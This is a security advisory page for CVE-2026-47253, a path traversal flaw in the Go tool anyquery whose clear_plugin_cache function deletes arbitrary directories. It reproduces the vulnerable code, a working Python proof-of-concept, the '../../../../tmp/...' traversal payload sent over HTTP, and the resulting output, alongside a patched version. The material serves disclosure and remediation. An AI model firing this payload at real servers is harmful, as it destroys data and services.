CVE-2026-47253: Github.com/julien040/anyquery Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-j9rx-rppg-6hh4
CVSS 7.3
CWE-22
Published
Advisory Summary

CVE-2026-47253 is a HIGH (CVSS 7.3) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/julien040/anyquery libraries in the Go ecosystem. The issue involves anyquery has path traversal through `clear_plugin_cache`, allowing arbitrary directory deletion. Remediation is available by upgrading affected packages to version 0.4.5.

CVE-2026-47253 at a Glance

CVE Identifier CVE-2026-47253
GHSA Identifier GHSA-j9rx-rppg-6hh4
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/julien040/anyquery
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-47253

To remediate this vulnerability, upgrade all affected Github.com/julien040/anyquery dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/julien040/anyquery fixed: 0.4.5
Upgrade github.com/julien040/anyquery to 0.4.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/julien040/anyquery

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47253, inspect your project dependencies for Github.com/julien040/anyquery:

inspect dependencies for github.com/julien040/anyquery

Analyze the terminal output to locate any version of Github.com/julien040/anyquery in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/julien040/anyquery, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion | Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | High | ## Summary The SQL scalar function `clear_plugin_cache(plugin)` in `namespace/other_functions.go` passes the caller-supplied `plugin` argument directly to `path.Join` and then to `os.RemoveAll`, with only an empty-string check as a guard. Because `path.Join` silently resolves `..` segments, a low-privileged bearer-token holder can submit `SELECT clear_plugin_cache('../../../../tmp/target')` to the `/v1/query` HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside `$XDG_CACHE_HOME/anyquery/plugins/` was successfully deleted, confirming full path-traversal exploitation. ## Affected Code `namespace/other_functions.go:46` — `pathlib.Join` resolves `..` segments in attacker-controlled `plugin`, producing a path outside the cache root `namespace/other_functions.go:53` — `os.RemoveAll` unconditionally deletes the traversed path ```go func clear_plugin_cache(plugin string) string { pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) if plugin == "" { return "The plugin name is empty" } // Remove the directory err := os.RemoveAll(pathToRemove) if err != nil { return err.Error() } return "" } ``` HTTP JSON `body.Query` → `executeQueryLLM` (`controller/llm.go:420-426`) → `shell.Run` → SQLite `clear_plugin_cache(plugin)` → `pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)` at `other_functions.go:46` → `os.RemoveAll` at `other_functions.go:53` ## Proof of Concept **Prerequisites:** - Docker installed - Python 3 with `requests` package (`pip install requests`) **Step 1 — Build and start the vulnerable service:** ```bash docker build -f Dockerfile -t anyquery-vuln002 . docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 ``` **Step 2 — Run the PoC script (separate terminal):** ```bash python3 poc.py ``` **poc.py:** ```python #!/usr/bin/env python3 """PoC reproduction script — julien040/anyquery / VULN-002 Prerequisites: - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 . - Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 - Python packages: requests (stdlib subprocess also used) How to run (from this report directory, after Dockerfile service is up): python3 poc.py Expected on success: Final stdout line begins with `RESULT: PASS` confirming that the sentinel directory outside the cache root was deleted via clear_plugin_cache path traversal. """ import subprocess import sys import json import requests BASE_URL = "http://127.0.0.1:8070" CONTAINER = "anyquery-vuln002" # Traversal payload: XDG_CACHE_HOME=/root/.cache, so # path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel") # resolves to /tmp/poc_sentinel (4 levels up escapes the cache root). TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel" SENTINEL_PATH = "/tmp/poc_sentinel" QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')" def docker_exec(cmd): result = subprocess.run( ["docker", "exec", CONTAINER] + cmd, capture_output=True, text=True ) return result.returncode, result.stdout, result.stderr def sentinel_exists(): rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH]) return rc == 0 # Step 1: create sentinel inside container print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...") rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH]) if rc != 0: sys.exit(f"RESULT: FAIL — could not create sentinel: {err}") if not sentinel_exists(): sys.exit("RESULT: FAIL — sentinel not present after mkdir") print(f" Sentinel created: {SENTINEL_PATH}") # Step 2: confirm server is reachable print("[2] Confirming server is reachable...") try: r = requests.get(f"{BASE_URL}/list-tables", timeout=5) assert r.status_code == 200, f"unexpected status {r.status_code}" print(f" GET /list-tables → HTTP {r.status_code} OK") except Exception as e: sys.exit(f"RESULT: FAIL — server not reachable: {e}") # Step 3: send traversal request print("[3] Sending path-traversal payload via POST /execute-query...") payload = {"query": QUERY} r = requests.post( f"{BASE_URL}/execute-query", headers={"Content-Type": "application/json"}, data=json.dumps(payload), timeout=10, ) print(f" HTTP {r.status_code}") print(f" Body: {r.text.strip()}") if r.status_code != 200: sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status_code}") # Step 4: verify sentinel is gone print("[4] Checking whether sentinel was deleted inside container...") if sentinel_exists(): print(f" Sentinel still present — traversal did not delete it.") print(f"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request") else: print(f" Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.") print(f"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)") ``` **HTTP request:** ```http POST /execute-query HTTP/1.1 Host: 127.0.0.1:8070 Content-Type: application/json {"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"} ``` **Output:** ```text [1] Creating sentinel directory /tmp/poc_sentinel inside container... Sentinel created: /tmp/poc_sentinel [2] Confirming server is reachable... GET /list-tables → HTTP 200 OK [3] Sending path-traversal payload via POST /execute-query... HTTP 200 Body: +----------------------------------------------------+ | clear_plugin_cache('../../../../tmp/poc_sentinel') | +----------------------------------------------------+ | | +----------------------------------------------------+ 1 results [4] Checking whether sentinel was deleted inside container... Sentinel GONE — /tmp/poc_sentinel deleted outside cache root. RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/) ``` ## Impact An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a `..`-traversing plugin name to `clear_plugin_cache`. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary (`$XDG_CACHE_HOME/anyquery/plugins/`). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data. ## Remediation In `namespace/other_functions.go`, resolve the full path and confirm it shares the expected cache-root prefix before calling `os.RemoveAll`: ```go func clear_plugin_cache(plugin string) string { if plugin == "" { return "The plugin name is empty" } cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins") pathToRemove := pathlib.Join(cacheRoot, plugin) rel, err := filepath.Rel(cacheRoot, pathToRemove) if err != nil || strings.HasPrefix(rel, "..") || rel == ".." { return "Invalid plugin name" } if err := os.RemoveAll(pathToRemove); err != nil { return err.Error() } return "" } ``` As a defence-in-depth measure, also reject `plugin` values containing `/`, `\`, or a leading `.` at the input level before the `path.Join` call, so traversal sequences are blocked at the earliest opportunity.

CVE-2026-47253 Affected Github.com/julien040/anyquery Versions

1 component(s)
Fixed Versions:
0.4.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/julien040/anyquery
Go
< 0.4.5
0.4.5

References

Frequently Asked Questions

What is CVE-2026-47253?
CVE-2026-47253 is a security vulnerability in Github.com/julien040/anyquery involving Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/julien040/anyquery versions are affected?
Affected versions include releases prior to 0.4.5 across affected packages: github.com/julien040/anyquery.
What version fixes CVE-2026-47253?
Upgrading to 0.4.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/julien040/anyquery affected?
Yes, github.com/julien040/anyquery is affected in releases prior to 0.4.5. Upgrade your dependency to 0.4.5 or later.
What is the CVSS score of CVE-2026-47253?
CVE-2026-47253 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-47253?
CVE-2026-47253 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-47253?
Run the dependency tree command: 'inspect dependencies for github.com/julien040/anyquery'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j9rx-rppg-6hh4",
  "modified" : "2026-06-10T17:11:53Z",
  "published" : "2026-06-10T17:11:53Z",
  "aliases" : [ "CVE-2026-47253" ],
  "summary" : "Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion",
  "details" : "# Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | julien040/anyquery |\n| Affected version | 0.4.4 |\n| Vulnerability    | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |\n| Severity         | High |\n\n\n## Summary\n\nThe SQL scalar function `clear_plugin_cache(plugin)` in `namespace/other_functions.go` passes the caller-supplied `plugin` argument directly to `path.Join` and then to `os.RemoveAll`, with only an empty-string check as a guard. Because `path.Join` silently resolves `..` segments, a low-privileged bearer-token holder can submit `SELECT clear_plugin_cache('../../../../tmp/target')` to the `/v1/query` HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside `$XDG_CACHE_HOME/anyquery/plugins/` was successfully deleted, confirming full path-traversal exploitation.\n\n## Affected Code\n\n`namespace/other_functions.go:46` — `pathlib.Join` resolves `..` segments in attacker-controlled `plugin`, producing a path outside the cache root\n\n`namespace/other_functions.go:53` — `os.RemoveAll` unconditionally deletes the traversed path\n\n```go\nfunc clear_plugin_cache(plugin string) string {\n\tpathToRemove := pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\", plugin)\n\n\tif plugin == \"\" {\n\t\treturn \"The plugin name is empty\"\n\t}\n\n\t// Remove the directory\n\terr := os.RemoveAll(pathToRemove)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn \"\"\n}\n```\n\nHTTP JSON `body.Query` → `executeQueryLLM` (`controller/llm.go:420-426`) → `shell.Run` → SQLite `clear_plugin_cache(plugin)` → `pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\", plugin)` at `other_functions.go:46` → `os.RemoveAll` at `other_functions.go:53`\n\n## Proof of Concept\n\n**Prerequisites:**\n- Docker installed\n- Python 3 with `requests` package (`pip install requests`)\n\n**Step 1 — Build and start the vulnerable service:**\n\n```bash\ndocker build -f Dockerfile -t anyquery-vuln002 .\ndocker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002\n```\n\n**Step 2 — Run the PoC script (separate terminal):**\n\n```bash\npython3 poc.py\n```\n\n**poc.py:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC reproduction script — julien040/anyquery / VULN-002\n\nPrerequisites:\n    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .\n    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002\n    - Python packages: requests (stdlib subprocess also used)\n\nHow to run (from this report directory, after Dockerfile service is up):\n    python3 poc.py\n\nExpected on success:\n    Final stdout line begins with `RESULT: PASS` confirming that the sentinel\n    directory outside the cache root was deleted via clear_plugin_cache path traversal.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport requests\n\nBASE_URL = \"http://127.0.0.1:8070\"\nCONTAINER = \"anyquery-vuln002\"\n# Traversal payload: XDG_CACHE_HOME=/root/.cache, so\n# path.Join(\"/root/.cache\",\"anyquery\",\"plugins\",\"../../../../tmp/poc_sentinel\")\n# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).\nTRAVERSAL_PLUGIN = \"../../../../tmp/poc_sentinel\"\nSENTINEL_PATH = \"/tmp/poc_sentinel\"\nQUERY = f\"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')\"\n\n\ndef docker_exec(cmd):\n    result = subprocess.run(\n        [\"docker\", \"exec\", CONTAINER] + cmd,\n        capture_output=True, text=True\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef sentinel_exists():\n    rc, _, _ = docker_exec([\"test\", \"-d\", SENTINEL_PATH])\n    return rc == 0\n\n\n# Step 1: create sentinel inside container\nprint(f\"[1] Creating sentinel directory {SENTINEL_PATH} inside container...\")\nrc, out, err = docker_exec([\"mkdir\", \"-p\", SENTINEL_PATH])\nif rc != 0:\n    sys.exit(f\"RESULT: FAIL — could not create sentinel: {err}\")\nif not sentinel_exists():\n    sys.exit(\"RESULT: FAIL — sentinel not present after mkdir\")\nprint(f\"    Sentinel created: {SENTINEL_PATH}\")\n\n# Step 2: confirm server is reachable\nprint(\"[2] Confirming server is reachable...\")\ntry:\n    r = requests.get(f\"{BASE_URL}/list-tables\", timeout=5)\n    assert r.status_code == 200, f\"unexpected status {r.status_code}\"\n    print(f\"    GET /list-tables → HTTP {r.status_code} OK\")\nexcept Exception as e:\n    sys.exit(f\"RESULT: FAIL — server not reachable: {e}\")\n\n# Step 3: send traversal request\nprint(\"[3] Sending path-traversal payload via POST /execute-query...\")\npayload = {\"query\": QUERY}\nr = requests.post(\n    f\"{BASE_URL}/execute-query\",\n    headers={\"Content-Type\": \"application/json\"},\n    data=json.dumps(payload),\n    timeout=10,\n)\nprint(f\"    HTTP {r.status_code}\")\nprint(f\"    Body: {r.text.strip()}\")\n\nif r.status_code != 200:\n    sys.exit(f\"RESULT: FAIL — unexpected HTTP status {r.status_code}\")\n\n# Step 4: verify sentinel is gone\nprint(\"[4] Checking whether sentinel was deleted inside container...\")\nif sentinel_exists():\n    print(f\"    Sentinel still present — traversal did not delete it.\")\n    print(f\"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request\")\nelse:\n    print(f\"    Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.\")\n    print(f\"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)\")\n```\n\n**HTTP request:**\n\n```http\nPOST /execute-query HTTP/1.1\nHost: 127.0.0.1:8070\nContent-Type: application/json\n\n{\"query\": \"SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')\"}\n```\n\n**Output:**\n\n```text\n[1] Creating sentinel directory /tmp/poc_sentinel inside container...\n    Sentinel created: /tmp/poc_sentinel\n[2] Confirming server is reachable...\n    GET /list-tables → HTTP 200 OK\n[3] Sending path-traversal payload via POST /execute-query...\n    HTTP 200\n    Body: +----------------------------------------------------+\n| clear_plugin_cache('../../../../tmp/poc_sentinel') |\n+----------------------------------------------------+\n|                                                    |\n+----------------------------------------------------+\n1 results\n[4] Checking whether sentinel was deleted inside container...\n    Sentinel GONE — /tmp/poc_sentinel deleted outside cache root.\nRESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)\n```\n\n## Impact\n\nAn authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a `..`-traversing plugin name to `clear_plugin_cache`. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary (`$XDG_CACHE_HOME/anyquery/plugins/`). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.\n\n## Remediation\n\nIn `namespace/other_functions.go`, resolve the full path and confirm it shares the expected cache-root prefix before calling `os.RemoveAll`:\n\n```go\nfunc clear_plugin_cache(plugin string) string {\n    if plugin == \"\" {\n        return \"The plugin name is empty\"\n    }\n    cacheRoot := pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\")\n    pathToRemove := pathlib.Join(cacheRoot, plugin)\n    rel, err := filepath.Rel(cacheRoot, pathToRemove)\n    if err != nil || strings.HasPrefix(rel, \"..\") || rel == \"..\" {\n        return \"Invalid plugin name\"\n    }\n    if err := os.RemoveAll(pathToRemove); err != nil {\n        return err.Error()\n    }\n    return \"\"\n}\n```\n\nAs a defence-in-depth measure, also reject `plugin` values containing `/`, `\\`, or a leading `.` at the input level before the `path.Join` call, so traversal sequences are blocked at the earliest opportunity.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/julien040/anyquery"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.4.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/julien040/anyquery/security/advisories/GHSA-j9rx-rppg-6hh4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/julien040/anyquery"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/julien040/anyquery/releases/tag/0.4.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-10T17:11:53Z",
    "nvd_published_at" : null
  }
}